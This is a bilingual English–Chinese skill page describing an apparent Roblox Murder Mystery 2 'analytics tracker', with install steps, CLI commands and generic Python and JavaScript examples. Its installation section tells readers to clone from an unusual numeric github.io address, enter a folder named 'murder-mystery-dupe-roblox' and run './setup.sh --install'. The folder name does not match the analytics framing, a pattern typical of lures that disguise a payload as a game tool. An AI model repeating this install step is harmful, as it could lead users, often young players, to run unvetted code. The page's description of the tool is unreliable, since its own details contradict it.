mm2-roblox-analytics-tracker

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

MM2 Roblox Analytics Tracker

Roblox MM2 分析追踪工具

Skill by ara.so — Data Skills collection.
This toolkit provides comprehensive analytics and inventory management for Roblox's Murder Mystery 2 game. It enables players to track knife skin collections, analyze gameplay patterns, optimize inventory, and visualize performance metrics through an interactive dashboard.
ara.so 开发的Skill — 数据技能集合。
该工具包为Roblox的《Murder Mystery 2》游戏提供全面的分析和库存管理功能。玩家可以通过交互式仪表板追踪刀皮肤收藏、分析游戏玩法模式、优化库存并可视化性能指标。

What It Does

功能介绍

The MM2 Analytics Tracker provides:
  • Inventory Management: Automatic tracking of knife skins, gamepasses, and collectibles with rarity analysis
  • Performance Analytics: Win/loss ratios, role-based statistics, and strategy pattern identification
  • Data Visualization: Interactive dashboards with real-time statistics and charts
  • AI-Powered Insights: Predictive modeling for inventory values and player behavior analysis
  • Trade Recommendations: Smart suggestions based on collection completeness and market trends
  • Practice Simulations: Training tools for skill improvement
Roblox MM2分析追踪工具提供以下功能:
  • 库存管理:自动追踪刀皮肤、游戏通行证和收藏品,并进行稀有度分析
  • 性能分析:胜负率、角色统计数据以及策略模式识别
  • 数据可视化:带有实时统计数据和图表的交互式仪表板
  • AI驱动洞察:库存价值预测模型和玩家行为分析
  • 交易推荐:基于收藏完成度和市场趋势的智能建议
  • 练习模拟:提升技能的训练工具

Installation

安装步骤

Automated Setup

自动安装

bash
undefined
bash
undefined

Clone the repository

Clone the repository

git clone https://8015238355.github.io cd murder-mystery-dupe-roblox
git clone https://8015238355.github.io cd murder-mystery-dupe-roblox

Run automated installer

Run automated installer

chmod +x setup.sh ./setup.sh --install
undefined
chmod +x setup.sh ./setup.sh --install
undefined

Manual Installation

手动安装

bash
undefined
bash
undefined

Install Node.js dependencies

Install Node.js dependencies

npm install
npm install

Install Python dependencies

Install Python dependencies

python3 -m pip install -r requirements.txt
undefined
python3 -m pip install -r requirements.txt
undefined

System Requirements

系统要求

  • Python 3.9+ or Node.js 18+
  • 2GB RAM minimum
  • Supported OS: Windows 10+, macOS Ventura+, Ubuntu 22.04+
  • Modern web browser (Chrome 120+, Firefox 121+)
  • Python 3.9+ 或 Node.js 18+
  • 最低2GB内存
  • 支持的操作系统:Windows 10+、macOS Ventura+、Ubuntu 22.04+
  • 现代网页浏览器(Chrome 120+、Firefox 121+)

Configuration

配置说明

Environment Variables

环境变量

Create a
.env
file in the project root:
env
undefined
在项目根目录创建
.env
文件:
env
undefined

AI Integration (optional)

AI Integration (optional)

API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY}
API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY}

Data Storage

Data Storage

DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300
DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300

Features

Features

ENABLE_LIVE_TRACKING=true ENABLE_AI_INSIGHTS=false EXPORT_FORMAT=json,csv
undefined
ENABLE_LIVE_TRACKING=true ENABLE_AI_INSIGHTS=false EXPORT_FORMAT=json,csv
undefined

Profile Configuration

配置文件设置

Create a
profile.yaml
file:
yaml
profile:
  username: "YourRobloxUsername"
  preferred_role: "sheriff"  # sheriff, murderer, innocent
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient", "unique"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"  # basic, comprehensive, minimal
    data_refresh_rate: 30  # seconds
    export_format: "csv, json"
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"
创建
profile.yaml
文件:
yaml
profile:
  username: "YourRobloxUsername"
  preferred_role: "sheriff"  # sheriff, murderer, innocent
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient", "unique"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"  # basic, comprehensive, minimal
    data_refresh_rate: 30  # seconds
    export_format: "csv, json"
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"

CLI Commands

命令行指令

Basic Usage

基础用法

bash
undefined
bash
undefined

Start analytics dashboard

Start analytics dashboard

python3 main.py --mode dashboard
python3 main.py --mode dashboard

Run inventory scan

Run inventory scan

python3 main.py --mode inventory --scan
python3 main.py --mode inventory --scan

Export analytics data

Export analytics data

python3 main.py --mode analytics
--profile your_profile
--export statistics.json
--format json
python3 main.py --mode analytics
--profile your_profile
--export statistics.json
--format json

Generate performance report

Generate performance report

python3 main.py --mode report
--date-range "2026-01-01:2026-05-16"
--output report.pdf
undefined
python3 main.py --mode report
--date-range "2026-01-01:2026-05-16"
--output report.pdf
undefined

Advanced Options

高级选项

bash
undefined
bash
undefined

Comprehensive analytics with verbose logging

Comprehensive analytics with verbose logging

python3 main.py --mode analytics
--profile mystery_solver_01
--export stats_$(date +%Y%m%d).json
--format json
--verbose
--log-level DEBUG
python3 main.py --mode analytics
--profile mystery_solver_01
--export stats_$(date +%Y%m%d).json
--format json
--verbose
--log-level DEBUG

Inventory optimization with AI recommendations

Inventory optimization with AI recommendations

python3 main.py --mode optimize
--enable-ai
--strategy aggressive
--export recommendations.csv
python3 main.py --mode optimize
--enable-ai
--strategy aggressive
--export recommendations.csv

Live tracking session

Live tracking session

python3 main.py --mode live
--refresh-interval 15
--dashboard-port 8080
undefined
python3 main.py --mode live
--refresh-interval 15
--dashboard-port 8080
undefined

Code Examples

代码示例

Python: Basic Inventory Analysis

Python: 基础库存分析

python
from mm2_analytics import InventoryManager, AnalyticsEngine
python
from mm2_analytics import InventoryManager, AnalyticsEngine

Initialize inventory manager

Initialize inventory manager

inventory = InventoryManager( data_dir="./data/collections", profile="my_profile" )
inventory = InventoryManager( data_dir="./data/collections", profile="my_profile" )

Scan current inventory

Scan current inventory

results = inventory.scan_inventory()
results = inventory.scan_inventory()

Analyze knife skins by rarity

Analyze knife skins by rarity

knife_analysis = inventory.analyze_category( category="knife_skins", group_by="rarity" )
print(f"Total items: {results['total_count']}") print(f"Legendary knives: {knife_analysis['legendary']}") print(f"Collection completion: {results['completion_percentage']}%")
knife_analysis = inventory.analyze_category( category="knife_skins", group_by="rarity" )
print(f"Total items: {results['total_count']}") print(f"Legendary knives: {knife_analysis['legendary']}") print(f"Collection completion: {results['completion_percentage']}%")

Get missing items for collection

Get missing items for collection

missing = inventory.get_missing_items( category="knife_skins", target_rarity=["legendary", "ancient"] )
for item in missing: print(f"Missing: {item['name']} (Est. value: {item['estimated_value']})")
undefined
missing = inventory.get_missing_items( category="knife_skins", target_rarity=["legendary", "ancient"] )
for item in missing: print(f"Missing: {item['name']} (Est. value: {item['estimated_value']})")
undefined

Python: Performance Analytics

Python: 性能分析

python
from mm2_analytics import AnalyticsEngine, StrategyAnalyzer
python
from mm2_analytics import AnalyticsEngine, StrategyAnalyzer

Initialize analytics engine

Initialize analytics engine

analytics = AnalyticsEngine( profile="my_profile", tracking_mode="comprehensive" )
analytics = AnalyticsEngine( profile="my_profile", tracking_mode="comprehensive" )

Load gameplay session data

Load gameplay session data

analytics.load_sessions(date_range="last_30_days")
analytics.load_sessions(date_range="last_30_days")

Analyze performance by role

Analyze performance by role

role_stats = analytics.analyze_by_role()
for role, stats in role_stats.items(): print(f"{role.capitalize()} Performance:") print(f" Win Rate: {stats['win_rate']:.2%}") print(f" Games Played: {stats['games_count']}") print(f" Avg Survival Time: {stats['avg_survival_time']:.1f}s")
role_stats = analytics.analyze_by_role()
for role, stats in role_stats.items(): print(f"{role.capitalize()} Performance:") print(f" Win Rate: {stats['win_rate']:.2%}") print(f" Games Played: {stats['games_count']}") print(f" Avg Survival Time: {stats['avg_survival_time']:.1f}s")

Strategy pattern analysis

Strategy pattern analysis

strategy = StrategyAnalyzer(analytics) patterns = strategy.identify_winning_patterns(role="sheriff")
print("\nTop Winning Strategies:") for pattern in patterns[:5]: print(f" {pattern['name']}: {pattern['success_rate']:.2%}")
undefined
strategy = StrategyAnalyzer(analytics) patterns = strategy.identify_winning_patterns(role="sheriff")
print("\nTop Winning Strategies:") for pattern in patterns[:5]: print(f" {pattern['name']}: {pattern['success_rate']:.2%}")
undefined

Python: Data Export and Visualization

Python: 数据导出与可视化

python
from mm2_analytics import DataExporter, Visualizer
python
from mm2_analytics import DataExporter, Visualizer

Export data in multiple formats

Export data in multiple formats

exporter = DataExporter(profile="my_profile")
exporter = DataExporter(profile="my_profile")

Export to JSON

Export to JSON

exporter.export_inventory( format="json", output="inventory_backup.json", include_metadata=True )
exporter.export_inventory( format="json", output="inventory_backup.json", include_metadata=True )

Export to CSV for spreadsheet analysis

Export to CSV for spreadsheet analysis

exporter.export_analytics( format="csv", output="analytics_report.csv", date_range="2026-01-01:2026-05-16" )
exporter.export_analytics( format="csv", output="analytics_report.csv", date_range="2026-01-01:2026-05-16" )

Generate visualizations

Generate visualizations

viz = Visualizer(data_source="analytics_report.csv")
viz = Visualizer(data_source="analytics_report.csv")

Create performance chart

Create performance chart

viz.create_chart( chart_type="line", metric="win_rate", group_by="date", output="performance_trend.png" )
viz.create_chart( chart_type="line", metric="win_rate", group_by="date", output="performance_trend.png" )

Create inventory distribution pie chart

Create inventory distribution pie chart

viz.create_chart( chart_type="pie", data=knife_analysis, title="Knife Skins by Rarity", output="inventory_distribution.png" )
undefined
viz.create_chart( chart_type="pie", data=knife_analysis, title="Knife Skins by Rarity", output="inventory_distribution.png" )
undefined

JavaScript: Dashboard Integration

JavaScript: 仪表板集成

javascript
const { AnalyticsDashboard, InventoryTracker } = require('mm2-analytics');

// Initialize dashboard
const dashboard = new AnalyticsDashboard({
  profile: 'my_profile',
  refreshInterval: 30000, // 30 seconds
  port: 8080
});

// Configure real-time inventory tracking
const tracker = new InventoryTracker({
  dataDir: './data/collections',
  liveTracking: true
});

// Subscribe to inventory updates
tracker.on('update', (data) => {
  console.log(`Inventory updated: ${data.items.length} items`);
  dashboard.updateInventoryView(data);
});

// Start analytics dashboard server
dashboard.start().then(() => {
  console.log('Dashboard running at http://localhost:8080');
});

// Export data on demand
dashboard.on('export-requested', async (format) => {
  const data = await tracker.exportData(format);
  return data;
});
javascript
const { AnalyticsDashboard, InventoryTracker } = require('mm2-analytics');

// Initialize dashboard
const dashboard = new AnalyticsDashboard({
  profile: 'my_profile',
  refreshInterval: 30000, // 30 seconds
  port: 8080
});

// Configure real-time inventory tracking
const tracker = new InventoryTracker({
  dataDir: './data/collections',
  liveTracking: true
});

// Subscribe to inventory updates
tracker.on('update', (data) => {
  console.log(`Inventory updated: ${data.items.length} items`);
  dashboard.updateInventoryView(data);
});

// Start analytics dashboard server
dashboard.start().then(() => {
  console.log('Dashboard running at http://localhost:8080');
});

// Export data on demand
dashboard.on('export-requested', async (format) => {
  const data = await tracker.exportData(format);
  return data;
});

Common Patterns

常见使用场景

Pattern 1: Daily Analytics Routine

场景1:每日分析流程

python
from mm2_analytics import DailyRoutine

routine = DailyRoutine(profile="my_profile")
python
from mm2_analytics import DailyRoutine

routine = DailyRoutine(profile="my_profile")

Run comprehensive daily analysis

Run comprehensive daily analysis

report = routine.run_daily_analysis( include_inventory_scan=True, include_performance_review=True, include_trade_recommendations=True, export_format="json" )
report = routine.run_daily_analysis( include_inventory_scan=True, include_performance_review=True, include_trade_recommendations=True, export_format="json" )

Email report (if configured)

Email report (if configured)

if report.has_significant_changes(): routine.send_report(report, method="email")
undefined
if report.has_significant_changes(): routine.send_report(report, method="email")
undefined

Pattern 2: Trade Optimization

场景2:交易优化

python
from mm2_analytics import TradeOptimizer

optimizer = TradeOptimizer(
    inventory=inventory,
    target_collection="legendary_complete"
)
python
from mm2_analytics import TradeOptimizer

optimizer = TradeOptimizer(
    inventory=inventory,
    target_collection="legendary_complete"
)

Get trade recommendations

Get trade recommendations

recommendations = optimizer.get_recommendations( max_trades=5, prioritize="collection_completion" )
for rec in recommendations: print(f"Trade: {rec['give']} → {rec['receive']}") print(f" Value Difference: {rec['value_delta']}") print(f" Collection Impact: +{rec['completion_impact']}%")
undefined
recommendations = optimizer.get_recommendations( max_trades=5, prioritize="collection_completion" )
for rec in recommendations: print(f"Trade: {rec['give']} → {rec['receive']}") print(f" Value Difference: {rec['value_delta']}") print(f" Collection Impact: +{rec['completion_impact']}%")
undefined

Pattern 3: AI-Powered Strategy Suggestions

场景3:AI驱动策略建议

python
from mm2_analytics import AIStrategyAssistant
python
from mm2_analytics import AIStrategyAssistant

Requires API_OPENAI_KEY or API_CLAUDE_KEY in environment

Requires API_OPENAI_KEY or API_CLAUDE_KEY in environment

assistant = AIStrategyAssistant( api_provider="openai", # or "claude" model="gpt-4" )
assistant = AIStrategyAssistant( api_provider="openai", # or "claude" model="gpt-4" )

Get strategy suggestions based on performance

Get strategy suggestions based on performance

suggestions = assistant.analyze_gameplay( role="sheriff", recent_sessions=analytics.get_recent_sessions(count=10) )
print(suggestions.summary) for tip in suggestions.tips: print(f"- {tip}")
undefined
suggestions = assistant.analyze_gameplay( role="sheriff", recent_sessions=analytics.get_recent_sessions(count=10) )
print(suggestions.summary) for tip in suggestions.tips: print(f"- {tip}")
undefined

Troubleshooting

故障排除

Issue: Inventory scan returns empty results

问题:库存扫描返回空结果

Solution: Verify data directory exists and profile configuration is correct
bash
undefined
解决方案:验证数据目录存在且配置文件设置正确
bash
undefined

Check data directory

Check data directory

ls -la ./data/collections
ls -la ./data/collections

Verify profile exists

Verify profile exists

python3 main.py --list-profiles
python3 main.py --list-profiles

Reset and rescan

Reset and rescan

python3 main.py --mode inventory --reset --scan
undefined
python3 main.py --mode inventory --reset --scan
undefined

Issue: Analytics export fails with encoding errors

问题:分析导出时出现编码错误

Solution: Specify UTF-8 encoding explicitly
python
from mm2_analytics import DataExporter

exporter = DataExporter(
    profile="my_profile",
    encoding="utf-8"  # Force UTF-8 encoding
)

exporter.export_analytics(
    format="csv",
    output="stats.csv",
    force_encoding=True
)
解决方案:显式指定UTF-8编码
python
from mm2_analytics import DataExporter

exporter = DataExporter(
    profile="my_profile",
    encoding="utf-8"  # Force UTF-8 encoding
)

exporter.export_analytics(
    format="csv",
    output="stats.csv",
    force_encoding=True
)

Issue: Dashboard won't start (port conflict)

问题:仪表板无法启动(端口冲突)

Solution: Use a different port or kill existing process
bash
undefined
解决方案:使用其他端口或终止占用端口的进程
bash
undefined

Use alternative port

Use alternative port

python3 main.py --mode dashboard --port 8081
python3 main.py --mode dashboard --port 8081

Or find and kill process using port 8080

Or find and kill process using port 8080

lsof -ti:8080 | xargs kill -9
undefined
lsof -ti:8080 | xargs kill -9
undefined

Issue: AI insights not working

问题:AI洞察功能无法使用

Solution: Verify API keys are set correctly
bash
undefined
解决方案:验证API密钥设置正确
bash
undefined

Check environment variables

Check environment variables

echo $API_OPENAI_KEY echo $API_CLAUDE_KEY
echo $API_OPENAI_KEY echo $API_CLAUDE_KEY

Test API connection

Test API connection

python3 main.py --test-ai-connection
undefined
python3 main.py --test-ai-connection
undefined

Issue: Performance degradation with large datasets

问题:大数据集导致性能下降

Solution: Enable data pagination and optimize refresh interval
python
from mm2_analytics import AnalyticsEngine

analytics = AnalyticsEngine(
    profile="my_profile",
    use_pagination=True,
    page_size=1000,
    cache_enabled=True
)
解决方案:启用数据分页并优化刷新间隔
python
from mm2_analytics import AnalyticsEngine

analytics = AnalyticsEngine(
    profile="my_profile",
    use_pagination=True,
    page_size=1000,
    cache_enabled=True
)

Increase refresh interval for large datasets

Increase refresh interval for large datasets

analytics.set_refresh_interval(60) # 60 seconds
undefined
analytics.set_refresh_interval(60) # 60 seconds
undefined

Best Practices

最佳实践

  1. Regular Backups: Export inventory data weekly
  2. API Rate Limits: Enable caching when using AI features
  3. Data Privacy: Keep profile data local, never commit
    .env
    files
  4. Performance: Use
    --mode minimal
    for basic tracking needs
  5. Updates: Check for compatibility patches regularly
  1. 定期备份:每周导出库存数据
  2. API速率限制:使用AI功能时启用缓存
  3. 数据隐私:将配置文件数据保存在本地,切勿提交
    .env
    文件
  4. 性能优化:基础追踪需求使用
    --mode minimal
  5. 版本更新:定期检查兼容性补丁

Additional Resources

额外资源

  • Profile templates:
    ./templates/profiles/
  • Sample datasets:
    ./data/samples/
  • Custom visualizations:
    ./examples/visualizations/
  • Strategy guides:
    ./docs/strategies/
  • 配置文件模板:
    ./templates/profiles/
  • 示例数据集:
    ./data/samples/
  • 自定义可视化示例:
    ./examples/visualizations/
  • 策略指南:
    ./docs/strategies/